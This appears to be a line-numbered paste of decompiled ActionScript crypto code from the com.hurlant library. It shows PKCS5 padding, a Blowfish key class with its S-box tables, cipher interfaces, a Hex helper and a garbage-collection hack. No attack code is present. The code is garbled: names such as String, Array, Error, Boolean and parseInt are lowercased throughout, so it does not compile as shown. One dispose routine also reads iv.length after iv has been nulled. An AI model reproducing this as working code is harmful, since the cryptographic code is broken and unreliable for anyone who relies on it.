  6298. };
  6299.  
  6300. this.padding = _arg2;
  6301.  
  6302. prng = new random();
  6303.  
  6304. iv = null;
  6305.  
  6306. lastIV = new ByteArray();
  6307.  
  6308. }
  6309.  
  6310. public function set IV(_arg1:ByteArray):void{
  6311.  
  6312. iv = _arg1;
  6313.  
  6314. lastIV.length = 0;
  6315.  
  6316. lastIV.writeBytes(iv);
  6317.  
  6318. }
  6319.  
  6320. protected function getIV4d():ByteArray{
  6321.  
  6322. var _local1:ByteArray;
  6323.  
  6324. _local1 = new ByteArray();
  6325.  
  6326. if (iv){
  6327.  
  6328. _local1.writeBytes(iv);
  6329.  
  6330. } else {
  6331.  
  6332. throw (new error("an IV must be set before calling decrypt()"));
  6333.  
  6334. };
  6335.  
  6336. return (_local1);
  6337.  
  6338. }
  6339.  
  6340. protected function getIV4e():ByteArray{
  6341.  
  6342. var _local1:ByteArray;
  6343.  
  6344. _local1 = new ByteArray();
  6345.  
  6346. if (iv){
  6347.  
  6348. _local1.writeBytes(iv);
  6349.  
  6350. } else {
  6351.  
  6352. prng.nextBytes(_local1, blockSize);
  6353.  
  6354. };
  6355.  
  6356. lastIV.length = 0;
  6357.  
  6358. lastIV.writeBytes(_local1);
  6359.  
  6360. return (_local1);
  6361.  
  6362. }
  6363.  
  6364. public function get IV():ByteArray{
  6365.  
  6366. return (lastIV);
  6367.  
  6368. }
  6369.  
  6370. public function dispose():void{
  6371.  
  6372. var _local1:uint;
  6373.  
  6374. if (iv != null){
  6375.  
  6376. _local1 = 0;
  6377.  
  6378. while (_local1 < iv.length) {
  6379.  
  6380. iv[_local1] = prng.nextByte();
  6381.  
  6382. _local1++;
  6383.  
  6384. };
  6385.  
  6386. iv.length = 0;
  6387.  
  6388. iv = null;
  6389.  
  6390. };
  6391.  
  6392. if (lastIV != null){
  6393.  
  6394. _local1 = 0;
  6395.  
  6396. while (_local1 < iv.length) {
  6397.  
  6398. lastIV[_local1] = prng.nextByte();
  6399.  
  6400. _local1++;
  6401.  
  6402. };
  6403.  
  6404. lastIV.length = 0;
  6405.  
  6406. lastIV = null;
  6407.  
  6408. };
  6409.  
  6410. key.dispose();
  6411.  
  6412. key = null;
  6413.  
  6414. padding = null;
  6415.  
  6416. prng.dispose();
  6417.  
  6418. prng = null;
  6419.  
  6420. Memory.gc();
  6421.  
  6422. }
  6423.  
  6424. public function getBlockSize():uint{
  6425.  
  6426. return (key.getBlockSize());
  6427.  
  6428. }
  6429.  
  6430.  
  6431.  
  6432. }
  6433.  
  6434. }//package com.hurlant.crypto.symmetric
  6435.  
  6436. &#65279;package com.hurlant.crypto.symmetric {
  6437.  
  6438.  
  6439.  
  6440. public interface IMode extends ICipher {
  6441.  
  6442.  
  6443.  
  6444. }
  6445.  
  6446. }//package com.hurlant.crypto.symmetric
  6447.  
  6448. &#65279;package com.hurlant.crypto.symmetric {
  6449.  
  6450. import flash.utils.*;
  6451.  
  6452.  
  6453.  
  6454. public interface ICipher {
  6455.  
  6456.  
  6457.  
  6458. function encrypt(_arg1:ByteArray):void;
  6459.  
  6460. function dispose():void;
  6461.  
  6462. function getBlockSize():uint;
  6463.  
  6464. function tostring():string;
  6465.  
  6466. function decrypt(_arg1:ByteArray):void;
  6467.  
  6468.  
  6469.  
  6470. }
  6471.  
  6472. }//package com.hurlant.crypto.symmetric
  6473.  
  6474. &#65279;package com.hurlant.crypto.symmetric {
  6475.  
  6476. import flash.utils.*;
  6477.  
  6478.  
  6479.  
  6480. public class PKCS5 implements IPad {
  6481.  
  6482.  
  6483.  
  6484. private var blockSize:uint;
  6485.  
  6486.  
  6487.  
  6488. public function PKCS5(_arg1:uint=0){
  6489.  
  6490. this.blockSize = _arg1;
  6491.  
  6492. }
  6493.  
  6494. public function unpad(_arg1:ByteArray):void{
  6495.  
  6496. var _local2:uint;
  6497.  
  6498. var _local3:uint;
  6499.  
  6500. var _local4:uint;
  6501.  
  6502. _local2 = (_arg1.length % blockSize);
  6503.  
  6504. if (_local2 != 0){
  6505.  
  6506. throw (new error("PKCS#5::unpad: ByteArray.length isn't a multiple of the blockSize"));
  6507.  
  6508. };
  6509.  
  6510. _local2 = _arg1[(_arg1.length - 1)];
  6511.  
  6512. _local3 = _local2;
  6513.  
  6514. while (_local3 > 0) {
  6515.  
  6516. _local4 = _arg1[(_arg1.length - 1)];
  6517.  
  6518. _arg1.length--;
  6519.  
  6520. if (_local2 != _local4){
  6521.  
  6522. throw (new error((((("PKCS#5:unpad: Invalid padding value. expected [" + _local2) + "], found [") + _local4) + "]")));
  6523.  
  6524. };
  6525.  
  6526. _local3--;
  6527.  
  6528. };
  6529.  
  6530. }
  6531.  
  6532. public function pad(_arg1:ByteArray):void{
  6533.  
  6534. var _local2:uint;
  6535.  
  6536. var _local3:uint;
  6537.  
  6538. _local2 = (blockSize - (_arg1.length % blockSize));
  6539.  
  6540. _local3 = 0;
  6541.  
  6542. while (_local3 < _local2) {
  6543.  
  6544. _arg1[_arg1.length] = _local2;
  6545.  
  6546. _local3++;
  6547.  
  6548. };
  6549.  
  6550. }
  6551.  
  6552. public function setBlockSize(_arg1:uint):void{
  6553.  
  6554. blockSize = _arg1;
  6555.  
  6556. }
  6557.  
  6558.  
  6559.  
  6560. }
  6561.  
  6562. }//package com.hurlant.crypto.symmetric
  6563.  
  6564. &#65279;package com.hurlant.crypto.symmetric {
  6565.  
  6566.  
  6567.  
  6568. public interface IStreamCipher extends ICipher {
  6569.  
  6570.  
  6571.  
  6572. }
  6573.  
  6574. }//package com.hurlant.crypto.symmetric
  6575.  
  6576. &#65279;package com.hurlant.crypto.symmetric {
  6577.  
  6578. import flash.utils.*;
  6579.  
  6580. import com.hurlant.util.*;
  6581.  
  6582.  
  6583.  
  6584. public class BlowFishKey implements ISymmetricKey {
  6585.  
  6586.  
  6587.  
  6588. private static const KP:array = [608135816, 2242054355, 320440878, 57701188, 2752067618, 698298832, 137296536, 3964562569, 1160258022, 953160567, 3193202383, 887688300, 3232508343, 3380367581, 1065670069, 3041331479, 2450970073, 2306472731];
  6589.  
  6590. private static const KS0:array = [3509652390, 2564797868, 805139163, 3491422135, 3101798381, 1780907670, 3128725573, 4046225305, 614570311, 3012652279, 134345442, 2240740374, 1667834072, 1901547113, 2757295779, 4103290238, 227898511, 1921955416, 1904987480, 2182433518, 2069144605, 3260701109, 2620446009, 720527379, 3318853667, 677414384, 3393288472, 3101374703, 2390351024, 1614419982, 1822297739, 2954791486, 3608508353, 3174124327, 2024746970, 1432378464, 3864339955, 2857741204, 1464375394, 1676153920, 1439316330, 715854006, 3033291828, 289532110, 2706671279, 2087905683, 3018724369, 1668267050, 732546397, 1947742710, 3462151702, 2609353502, 2950085171, 1814351708, 2050118529, 680887927, 999245976, 1800124847, 3300911131, 1713906067, 1641548236, 4213287313, 1216130144, 1575780402, 4018429277, 3917837745, 3693486850, 3949271944, 596196993, 3549867205, 258830323, 2213823033, 772490370, 2760122372, 1774776394, 2652871518, 566650946, 4142492826, 1728879713, 2882767088, 1783734482, 3629395816, 2517608232, 2874225571, 1861159788, 326777828, 3124490320, 2130389656, 2716951837, 967770486, 1724537150, 2185432712, 2364442137, 1164943284, 2105845187, 998989502, 3765401048, 2244026483, 1075463327, 1455516326, 1322494562, 910128902, 469688178, 1117454909, 936433444, 3490320968, 3675253459, 1240580251, 122909385, 2157517691, 634681816, 4142456567, 3825094682, 3061402683, 2540495037, 79693498, 3249098678, 1084186820, 1583128258, 426386531, 1761308591, 1047286709, 322548459, 995290223, 1845252383, 2603652396, 3431023940, 2942221577, 3202600964, 3727903485, 1712269319, 422464435, 3234572375, 1170764815, 3523960633, 3117677531, 1434042557, 442511882, 0xD6A100C6, 1076654713, 1738483198, 4213154764, 2393238008, 3677496056, 1014306527, 4251020053, 793779912, 2902807211, 842905082, 4246964064, 1395751752, 0x3E00DF82, 2656851899, 3396308128, 445077038, 3742853595, 3577915638, 679411651, 2892444358, 2354009459, 1767581616, 3150600392, 3791627101, 3102740896, 284835224, 4246832056, 1258075500, 768725851, 2589189241, 3069724005, 3532540348, 1274779536, 3789419226, 2764799539, 1660621633, 3471099624, 4011903706, 913787905, 3497959166, 737222580, 2514213453, 2928710040, 3937242737, 1804850592, 3499020752, 2949064160, 2386320175, 2390070455, 2415321851, 4061277028, 0x8888B812, 2416832540, 1336762016, 1754252060, 3520065937, 3014181293, 791618072, 3188594551, 3933548030, 2332172193, 3852520463, 3043980520, 413987798, 3465142937, 3030929376, 4245938359, 2093235073, 3534596313, 375366246, 2157278981, 2479649556, 555357303, 3870105701, 2008414854, 3344188149, 4221384143, 3956125452, 2067696032, 3594591187, 2921233993, 2428461, 544322398, 0x226800BB, 1471733935, 610547355, 4027169054, 1432588573, 1507829418, 2025931657, 3646575487, 545086370, 48609733, 2200306550, 1653985193, 298326376, 1316178497, 3007786442, 2064951626, 0x1B510052, 2589141269, 3591329599, 3164325604, 727753846, 0x81E67400, 146436021, 1461446943, 4069977195, 705550613, 3059967265, 3887724982, 4281599278, 3313849956, 1404054877, 2845806497, 146425753, 1854211946];
  6591.  
  6592. private static const KS1:array = [1266315497, 3048417604, 3681880366, 3289982499, 2909710000, 1235738493, 2632868024, 2414719590, 3970600049, 1771706367, 1449415276, 3266420449, 422970021, 1963543593, 2690192192, 3826793022, 1062508698, 1531092325, 1804592342, 2583117782, 2714934279, 4024971509, 1294809318, 4028980673, 1289560198, 2221992742, 1669523910, 35572830, 157838143, 1052438473, 1016535060, 1802137761, 1753167236, 1386275462, 3080475397, 2857371447, 1040679964, 2145300060, 2390574316, 1461121720, 2956646967, 4031777805, 4028374788, 33600511, 2920084762, 1018524850, 629373528, 3691585981, 3515945977, 2091462646, 2486323059, 586499841, 988145025, 935516892, 3367335476, 2599673255, 2839830854, 265290510, 3972581182, 2759138881, 3795373465, 1005194799, 847297441, 406762289, 1314163512, 1332590856, 1866599683, 4127851711, 750260880, 613907577, 1450815602, 3165620655, 3734664991, 3650291728, 3012275730, 3704569646, 1427272223, 778793252, 1343938022, 2676280711, 2052605720, 1946737175, 3164576444, 3914038668, 3967478842, 3682934266, 1661551462, 3294938066, 4011595847, 840292616, 3712170807, 616741398, 312560963, 711312465, 0x50940002, 322626781, 1910503582, 271666773, 2175563734, 1594956187, 70604529, 3617834859, 1007753275, 1495573769, 4069517037, 2549218298, 2663038764, 504708206, 2263041392, 3941167025, 2249088522, 1514023603, 1998579484, 1312622330, 694541497, 2582060303, 2151582166, 1382467621, 776784248, 2618340202, 3323268794, 2497899128, 2784771155, 503983604, 4076293799, 907881277, 423175695, 432175456, 1378068232, 4145222326, 3954048622, 3938656102, 3820766613, 2793130115, 2977904593, 26017576, 3274890735, 3194772133, 1700274565, 1756076034, 4006520079, 3677328699, 720338349, 1533947780, 354530856, 688349552, 3973924725, 1637815568, 332179504, 3949051286, 53804574, 2852348879, 3044236432, 1282449977, 3583942155, 3416972820, 4006381244, 1617046695, 2628476075, 3002303598, 1686838959, 431878346, 2686675385, 1700445008, 1080580658, 1009431731, 832498133, 3223435511, 2605976345, 2271191193, 2516031870, 1648197032, 4164389018, 2548247927, 300782431, 375919233, 238389289, 3353747414, 2531188641, 2019080857, 1475708069, 455242339, 2609103871, 448939670, 3451063019, 1395535956, 2413381860, 1841049896, 1491858159, 885456874, 4264095073, 4001119347, 1565136089, 3898914787, 1108368660, 540939232, 1173283510, 2745871338, 3681308437, 4207628240, 3343053890, 4016749493, 1699691293, 1103962373, 3625875870, 2256883143, 3830138730, 1031889488, 3479347698, 1535977030, 4236805024, 3251091107, 2132092099, 1774941330, 1199868427, 1452454533, 157007616, 2904115357, 342012276, 0x23820E00, 1480756522, 206960106, 497939518, 591360097, 863170706, 2375253569, 3596610801, 1814182875, 2094937945, 3421402208, 1082520231, 3463918190, 2785509508, 435703966, 3908032597, 1641649973, 2842273706, 3305899714, 1510255612, 2148256476, 2655287854, 3276092548, 4258621189, 236887753, 3681803219, 274041037, 1734335097, 3815195456, 3317970021, 1899903192, 1026095262, 4050517792, 356393447, 2410691914, 3873677099, 3682840055];
  6593.  
  6594. private static const KS3:array = [976866871, 3556439503, 2881648439, 1522871579, 1555064734, 1336096578, 3548522304, 2579274686, 3574697629, 3205460757, 3593280638, 0xC700C47B, 3079412587, 564236357, 2993598910, 1781952180, 1464380207, 3163844217, 3332601554, 1699332808, 1393555694, 1183702653, 3581086237, 1288719814, 691649499, 2847557200, 2895455976, 3193889540, 2717570544, 1781354906, 1676643554, 2592534050, 3230253752, 1126444790, 2770207658, 2633158820, 2210423226, 2615765581, 2414155088, 3127139286, 673620729, 2805611233, 1269405062, 4015350505, 3341807571, 4149409754, 1057255273, 2012875353, 2162469141, 2276492801, 2601117357, 993977747, 3918593370, 2654263191, 753973209, 36408145, 2530585658, 25011837, 3520020182, 2088578344, 530523599, 2918365339, 1524020338, 1518925132, 3760827505, 3759777254, 1202760957, 3985898139, 3906192525, 674977740, 4174734889, 2031300136, 2019492241, 3983892565, 4153806404, 3822280332, 352677332, 2297720250, 60907813, 90501309, 3286998549, 1016092578, 2535922412, 2839152426, 457141659, 509813237, 4120667899, 652014361, 1966332200, 2975202805, 55981186, 2327461051, 676427537, 3255491064, 2882294119, 3433927263, 1307055953, 942726286, 933058658, 2468411793, 3933900994, 4215176142, 1361170020, 2001714738, 2830558078, 3274259782, 1222529897, 1679025792, 2729314320, 3714953764, 1770335741, 151462246, 3013232138, 1682292957, 1483529935, 471910574, 1539241949, 458788160, 3436315007, 1807016891, 3718408830, 978976581, 1043663428, 3165965781, 1927990952, 4200891579, 2372276910, 3208408903, 3533431907, 1412390302, 2931980059, 4132332400, 1947078029, 3881505623, 4168226417, 2941484381, 1077988104, 1320477388, 886195818, 18198404, 3786409000, 2509781533, 112762804, 3463356488, 1866414978, 891333506, 18488651, 661792760, 1628790961, 3885187036, 3141171499, 876946877, 2693282273, 1372485963, 791857591, 2686433993, 3759982718, 3167212022, 3472953795, 2716379847, 445679433, 3561995674, 3504004811, 3574258232, 54117162, 3331405415, 2381918588, 3769707343, 4154350007, 1140177722, 4074052095, 668550556, 3214352940, 367459370, 261225585, 2610173221, 4209349473, 3468074219, 3265815641, 314222801, 3066103646, 3808782860, 282218597, 3406013506, 3773591054, 379116347, 1285071038, 846784868, 2669647154, 3771962079, 3550491691, 2305946142, 453669953, 1268987020, 3317592352, 3279303384, 3744833421, 2610507566, 3859509063, 266596637, 3847019092, 517658769, 3462560207, 3443424879, 370717030, 4247526661, 2224018117, 4143653529, 4112773975, 2788324899, 2477274417, 1456262402, 2901442914, 1517677493, 1846949527, 2295493580, 3734397586, 2176403920, 1280348187, 1908823572, 3871786941, 846861322, 1172426758, 3287448474, 3383383037, 0x62A80F00, 3139813346, 901632758, 1897031941, 2986607138, 3066810236, 3447102507, 1393639104, 373351379, 950779232, 625454576, 3124240540, 4148612726, 2007998917, 544563296, 2244738638, 2330496472, 2058025392, 1291430526, 424198748, 50039436, 29584100, 3605783033, 2429876329, 2791104160, 1057563949, 3255363231, 3075367218, 3463963227, 1469046755, 985887462];
  6595.  
  6596. private static const ROUNDS:uint = 16;
  6597.  
  6598. private static const KS2:array = [3913112168, 2491498743, 4132185628, 2489919796, 1091903735, 1979897079, 3170134830, 0xD4A20068, 3557303409, 857797738, 1136121015, 0x500061AF, 507115054, 2535736646, 337727348, 3213592640, 1301675037, 2528481711, 1895095763, 1721773893, 3216771564, 62756741, 2142006736, 835421444, 2531993523, 1442658625, 3659876326, 2882144922, 676362277, 1392781812, 170690266, 3921047035, 1759253602, 0xD7486900, 1745797284, 664899054, 1329594018, 3901205900, 3045908486, 2062866102, 2865634940, 3543621612, 3464012697, 1080764994, 553557557, 3656615353, 3996768171, 991055499, 499776247, 1265440854, 648242737, 3940784050, 980351604, 3713745714, 1749149687, 3396870395, 4211799374, 3640570775, 1161844396, 3125318951, 1431517754, 545492359, 4268468663, 3499529547, 1437099964, 2702547544, 3433638243, 2581715763, 2787789398, 1060185593, 1593081372, 2418618748, 4260947970, 69676912, 2159744348, 86519011, 2512459080, 3838209314, 1220612927, 3339683548, 133810670, 1090789135, 1078426020, 1569222167, 845107691, 3583754449, 4072456591, 1091646820, 628848692, 1613405280, 3757631651, 526609435, 236106946, 48312990, 2942717905, 3402727701, 1797494240, 859738849, 992217954, 4005476642, 2243076622, 3870952857, 3732016268, 765654824, 3490871365, 2511836413, 1685915746, 3888969200, 1414112111, 2273134842, 3281911079, 4080962846, 172450625, 2569994100, 980381355, 4109958455, 2819808352, 2716589560, 2568741196, 3681446669, 3329971472, 1835478071, 660984891, 3704678404, 4045999559, 0xCC00FFA3, 3040415634, 1762651403, 1719377915, 3470491036, 2693910283, 3642056355, 3138596744, 1364962596, 2073328063, 1983633131, 926494387, 3423689081, 2150032023, 4096667949, 1749200295, 3328846651, 309677260, 2016342300, 1779581495, 3079819751, 111262694, 1274766160, 443224088, 298511866, 1025883608, 3806446537, 1145181785, 168956806, 3641502830, 3584813610, 1689216846, 3666258015, 3200248200, 1692713982, 2646376535, 4042768518, 1618508792, 1610833997, 3523052358, 4130873264, 2001055236, 3610705100, 2202168115, 4028541809, 2961195399, 0x3C005E5F, 2006996926, 3186142756, 1430667929, 3210227297, 1314452623, 4074634658, 4101304120, 2273951170, 1399257539, 3367210612, 3027628629, 1190975929, 2062231137, 2333990788, 2221543033, 2438960610, 1181637006, 548689776, 2362791313, 3372408396, 3104550113, 3145860560, 296247880, 1970579870, 3078560182, 3769228297, 1714227617, 3291629107, 3898220290, 166772364, 1251581989, 493813264, 448347421, 195405023, 2709975567, 677966185, 3703036547, 1463355134, 2715995803, 1338867538, 1343315457, 2802222074, 2684532164, 233230375, 2599980071, 2000651841, 3277868038, 1638401717, 4028070440, 3237316320, 6314154, 819756386, 300326615, 590932579, 1405279636, 3267499572, 3150704214, 2428286686, 3959192993, 3461946742, 1862657033, 1266418056, 963775037, 2089974820, 2263052895, 1917689273, 448879540, 3550394620, 3981727096, 150775221, 3627908307, 1303187396, 508620638, 2975983352, 2726630617, 1817252668, 1876281319, 1457606340, 908771278, 3720792119, 3617206836, 2455994898, 1729034894, 0x406000E0];
  6599.  
  6600. private static const BLOCK_SIZE:uint = 8;
  6601.  
  6602. private static const P_SZ:uint = (ROUNDS + 2);
  6603.  
  6604. private static const SBOX_SK:uint = 0x0100;
  6605.  
  6606.  
  6607.  
  6608. private var S3:array;
  6609.  
  6610. private var S2:array;
  6611.  
  6612. private var P:array;
  6613.  
  6614. private var key:ByteArray = null;
  6615.  
  6616. private var S0:array;
  6617.  
  6618. private var S1:array;
  6619.  
  6620.  
  6621.  
  6622. public function BlowFishKey(_arg1:ByteArray){
  6623.  
  6624. key = null;
  6625.  
  6626. super();
  6627.  
  6628. this.key = _arg1;
  6629.  
  6630. setKey(_arg1);
  6631.  
  6632. }
  6633.  
  6634. private function F(_arg1:uint):uint{
  6635.  
  6636. return ((((S0[(_arg1 >>> 24)] + S1[((_arg1 >>> 16) & 0xFF)]) ^ S2[((_arg1 >>> 8) & 0xFF)]) + S3[(_arg1 & 0xFF)]));
  6637.  
  6638. }
  6639.  
  6640. private function BytesTo32bits(_arg1:ByteArray, _arg2:uint):uint{
  6641.  
  6642. return ((((((_arg1[_arg2] & 0xFF) << 24) | ((_arg1[(_arg2 + 1)] & 0xFF) << 16)) | ((_arg1[(_arg2 + 2)] & 0xFF) << 8)) | (_arg1[(_arg2 + 3)] & 0xFF)));
  6643.  
  6644. }
  6645.  
  6646. public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{
  6647.  
  6648. decryptBlock(_arg1, _arg2, _arg1, _arg2);
  6649.  
  6650. }
  6651.  
  6652. private function decryptBlock(_arg1:ByteArray, _arg2:uint, _arg3:ByteArray, _arg4:uint):void{
  6653.  
  6654. var _local5:uint;
  6655.  
  6656. var _local6:uint;
  6657.  
  6658. var _local7:uint;
  6659.  
  6660. _local5 = BytesTo32bits(_arg1, _arg2);
  6661.  
  6662. _local6 = BytesTo32bits(_arg1, (_arg2 + 4));
  6663.  
  6664. _local5 = (_local5 ^ P[(ROUNDS + 1)]);
  6665.  
  6666. _local7 = ROUNDS;
  6667.  
  6668. while (_local7 > 0) {
  6669.  
  6670. _local6 = (_local6 ^ (F(_local5) ^ P[_local7]));
  6671.  
  6672. _local5 = (_local5 ^ (F(_local6) ^ P[(_local7 - 1)]));
  6673.  
  6674. _local7 = (_local7 - 2);
  6675.  
  6676. };
  6677.  
  6678. _local6 = (_local6 ^ P[0]);
  6679.  
  6680. Bits32ToBytes(_local6, _arg3, _arg4);
  6681.  
  6682. Bits32ToBytes(_local5, _arg3, (_arg4 + 4));
  6683.  
  6684. }
  6685.  
  6686. private function setKey(_arg1:ByteArray):void{
  6687.  
  6688. var _local2:uint;
  6689.  
  6690. var _local3:uint;
  6691.  
  6692. var _local4:uint;
  6693.  
  6694. var _local5:uint;
  6695.  
  6696. var _local6:uint;
  6697.  
  6698. S0 = KS0.concat();
  6699.  
  6700. S1 = KS1.concat();
  6701.  
  6702. S2 = KS2.concat();
  6703.  
  6704. S3 = KS3.concat();
  6705.  
  6706. P = KP.concat();
  6707.  
  6708. _local2 = _arg1.length;
  6709.  
  6710. _local3 = 0;
  6711.  
  6712. _local4 = 0;
  6713.  
  6714. while (_local4 < P_SZ) {
  6715.  
  6716. _local5 = 0;
  6717.  
  6718. _local6 = 0;
  6719.  
  6720. while (_local6 < 4) {
  6721.  
  6722. var _temp1 = _local3;
  6723.  
  6724. _local3 = (_local3 + 1);
  6725.  
  6726. _local5 = ((_local5 << 8) | (_arg1[_temp1] & 0xFF));
  6727.  
  6728. if (_local3 >= _local2){
  6729.  
  6730. _local3 = 0;
  6731.  
  6732. };
  6733.  
  6734. _local6++;
  6735.  
  6736. };
  6737.  
  6738. P[_local4] = (P[_local4] ^ _local5);
  6739.  
  6740. _local4++;
  6741.  
  6742. };
  6743.  
  6744. processTable(0, 0, P);
  6745.  
  6746. processTable(P[(P_SZ - 2)], P[(P_SZ - 1)], S0);
  6747.  
  6748. processTable(S0[(SBOX_SK - 2)], S0[(SBOX_SK - 1)], S1);
  6749.  
  6750. processTable(S1[(SBOX_SK - 2)], S1[(SBOX_SK - 1)], S2);
  6751.  
  6752. processTable(S2[(SBOX_SK - 2)], S2[(SBOX_SK - 1)], S3);
  6753.  
  6754. }
  6755.  
  6756. public function dispose():void{
  6757.  
  6758. var _local1:uint;
  6759.  
  6760. _local1 = 0;
  6761.  
  6762. _local1 = 0;
  6763.  
  6764. while (_local1 < S0.length) {
  6765.  
  6766. S0[_local1] = 0;
  6767.  
  6768. _local1++;
  6769.  
  6770. };
  6771.  
  6772. _local1 = 0;
  6773.  
  6774. while (_local1 < S1.length) {
  6775.  
  6776. S1[_local1] = 0;
  6777.  
  6778. _local1++;
  6779.  
  6780. };
  6781.  
  6782. _local1 = 0;
  6783.  
  6784. while (_local1 < S2.length) {
  6785.  
  6786. S2[_local1] = 0;
  6787.  
  6788. _local1++;
  6789.  
  6790. };
  6791.  
  6792. _local1 = 0;
  6793.  
  6794. while (_local1 < S3.length) {
  6795.  
  6796. S3[_local1] = 0;
  6797.  
  6798. _local1++;
  6799.  
  6800. };
  6801.  
  6802. _local1 = 0;
  6803.  
  6804. while (_local1 < P.length) {
  6805.  
  6806. P[_local1] = 0;
  6807.  
  6808. _local1++;
  6809.  
  6810. };
  6811.  
  6812. S0 = null;
  6813.  
  6814. S1 = null;
  6815.  
  6816. S2 = null;
  6817.  
  6818. S3 = null;
  6819.  
  6820. P = null;
  6821.  
  6822. _local1 = 0;
  6823.  
  6824. while (_local1 < key.length) {
  6825.  
  6826. key[_local1] = 0;
  6827.  
  6828. _local1++;
  6829.  
  6830. };
  6831.  
  6832. key.length = 0;
  6833.  
  6834. key = null;
  6835.  
  6836. Memory.gc();
  6837.  
  6838. }
  6839.  
  6840. private function encryptBlock(_arg1:ByteArray, _arg2:uint, _arg3:ByteArray, _arg4:uint):void{
  6841.  
  6842. var _local5:uint;
  6843.  
  6844. var _local6:uint;
  6845.  
  6846. var _local7:uint;
  6847.  
  6848. _local5 = BytesTo32bits(_arg1, _arg2);
  6849.  
  6850. _local6 = BytesTo32bits(_arg1, (_arg2 + 4));
  6851.  
  6852. _local5 = (_local5 ^ P[0]);
  6853.  
  6854. _local7 = 1;
  6855.  
  6856. while (_local7 < ROUNDS) {
  6857.  
  6858. _local6 = (_local6 ^ (F(_local5) ^ P[_local7]));
  6859.  
  6860. _local5 = (_local5 ^ (F(_local6) ^ P[(_local7 + 1)]));
  6861.  
  6862. _local7 = (_local7 + 2);
  6863.  
  6864. };
  6865.  
  6866. _local6 = (_local6 ^ P[(ROUNDS + 1)]);
  6867.  
  6868. Bits32ToBytes(_local6, _arg3, _arg4);
  6869.  
  6870. Bits32ToBytes(_local5, _arg3, (_arg4 + 4));
  6871.  
  6872. }
  6873.  
  6874. public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{
  6875.  
  6876. encryptBlock(_arg1, _arg2, _arg1, _arg2);
  6877.  
  6878. }
  6879.  
  6880. private function Bits32ToBytes(_arg1:uint, _arg2:ByteArray, _arg3:uint):void{
  6881.  
  6882. _arg2[(_arg3 + 3)] = _arg1;
  6883.  
  6884. _arg2[(_arg3 + 2)] = (_arg1 >> 8);
  6885.  
  6886. _arg2[(_arg3 + 1)] = (_arg1 >> 16);
  6887.  
  6888. _arg2[_arg3] = (_arg1 >> 24);
  6889.  
  6890. }
  6891.  
  6892. private function processTable(_arg1:uint, _arg2:uint, _arg3:array):void{
  6893.  
  6894. var _local4:uint;
  6895.  
  6896. var _local5:uint;
  6897.  
  6898. var _local6:uint;
  6899.  
  6900. _local4 = _arg3.length;
  6901.  
  6902. _local5 = 0;
  6903.  
  6904. while (_local5 < _local4) {
  6905.  
  6906. _arg1 = (_arg1 ^ P[0]);
  6907.  
  6908. _local6 = 1;
  6909.  
  6910. while (_local6 < ROUNDS) {
  6911.  
  6912. _arg2 = (_arg2 ^ (F(_arg1) ^ P[_local6]));
  6913.  
  6914. _arg1 = (_arg1 ^ (F(_arg2) ^ P[(_local6 + 1)]));
  6915.  
  6916. _local6 = (_local6 + 2);
  6917.  
  6918. };
  6919.  
  6920. _arg2 = (_arg2 ^ P[(ROUNDS + 1)]);
  6921.  
  6922. _arg3[_local5] = _arg2;
  6923.  
  6924. _arg3[(_local5 + 1)] = _arg1;
  6925.  
  6926. _arg2 = _arg1;
  6927.  
  6928. _arg1 = _arg3[_local5];
  6929.  
  6930. _local5 = (_local5 + 2);
  6931.  
  6932. };
  6933.  
  6934. }
  6935.  
  6936. public function tostring():string{
  6937.  
  6938. return ("blowfish");
  6939.  
  6940. }
  6941.  
  6942. public function getBlockSize():uint{
  6943.  
  6944. return (BLOCK_SIZE);
  6945.  
  6946. }
  6947.  
  6948.  
  6949.  
  6950. }
  6951.  
  6952. }//package com.hurlant.crypto.symmetric
  6953.  
  6954. &#65279;package com.hurlant.util {
  6955.  
  6956. import flash.utils.*;
  6957.  
  6958.  
  6959.  
  6960. public class Hex {
  6961.  
  6962.  
  6963.  
  6964. public static function fromString(_arg1:string, _arg2:boolean=false):string{
  6965.  
  6966. var _local3:ByteArray;
  6967.  
  6968. _local3 = new ByteArray();
  6969.  
  6970. _local3.writeUTFBytes(_arg1);
  6971.  
  6972. return (fromArray(_local3, _arg2));
  6973.  
  6974. }
  6975.  
  6976. public static function tostring(_arg1:string):string{
  6977.  
  6978. var _local2:ByteArray;
  6979.  
  6980. _local2 = toArray(_arg1);
  6981.  
  6982. return (_local2.readUTFBytes(_local2.length));
  6983.  
  6984. }
  6985.  
  6986. public static function toArray(_arg1:string):ByteArray{
  6987.  
  6988. var _local2:ByteArray;
  6989.  
  6990. var _local3:uint;
  6991.  
  6992. _arg1 = _arg1.replace(/\s|:/gm, "");
  6993.  
  6994. _local2 = new ByteArray();
  6995.  
  6996. if ((_arg1.length & (1 == 1))){
  6997.  
  6998. _arg1 = ("0" + _arg1);
  6999.  
  7000. };
  7001.  
  7002. _local3 = 0;
  7003.  
  7004. while (_local3 < _arg1.length) {
  7005.  
  7006. _local2[(_local3 / 2)] = parseint(_arg1.substr(_local3, 2), 16);
  7007.  
  7008. _local3 = (_local3 + 2);
  7009.  
  7010. };
  7011.  
  7012. return (_local2);
  7013.  
  7014. }
  7015.  
  7016. public static function fromArray(_arg1:ByteArray, _arg2:boolean=false):string{
  7017.  
  7018. var _local3:string;
  7019.  
  7020. var _local4:uint;
  7021.  
  7022. _local3 = "";
  7023.  
  7024. _local4 = 0;
  7025.  
  7026. while (_local4 < _arg1.length) {
  7027.  
  7028. _local3 = (_local3 + ("0" + _arg1[_local4].tostring(16)).substr(-2, 2));
  7029.  
  7030. if (_arg2){
  7031.  
  7032. if (_local4 < (_arg1.length - 1)){
  7033.  
  7034. _local3 = (_local3 + ":");
  7035.  
  7036. };
  7037.  
  7038. };
  7039.  
  7040. _local4++;
  7041.  
  7042. };
  7043.  
  7044. return (_local3);
  7045.  
  7046. }
  7047.  
  7048.  
  7049.  
  7050. }
  7051.  
  7052. }//package com.hurlant.util
  7053.  
  7054. &#65279;package com.hurlant.util {
  7055.  
  7056. import flash.system.*;
  7057.  
  7058. import flash.net.*;
  7059.  
  7060.  
  7061.  
  7062. public class Memory {
  7063.  
  7064.  
  7065.  
  7066. public static function gc():void{
  7067.  
  7068. try {
  7069.  
  7070. new localconnection().connect("foo");
  7071.  
  7072. new localconnection().connect("foo");
  7073.  
  7074. } catch(e) {
  7075.  
  7076. };
  7077.  
  7078. }
  7079.  
  7080. public static function get used():uint{
  7081.  
  7082. return (system.totalMemory);
  7083.  
  7084. }
  7085.  
  7086.  
  7087.  
  7088. }
  7089.  
  7090. }//package com.hurlant.util
  7091.  
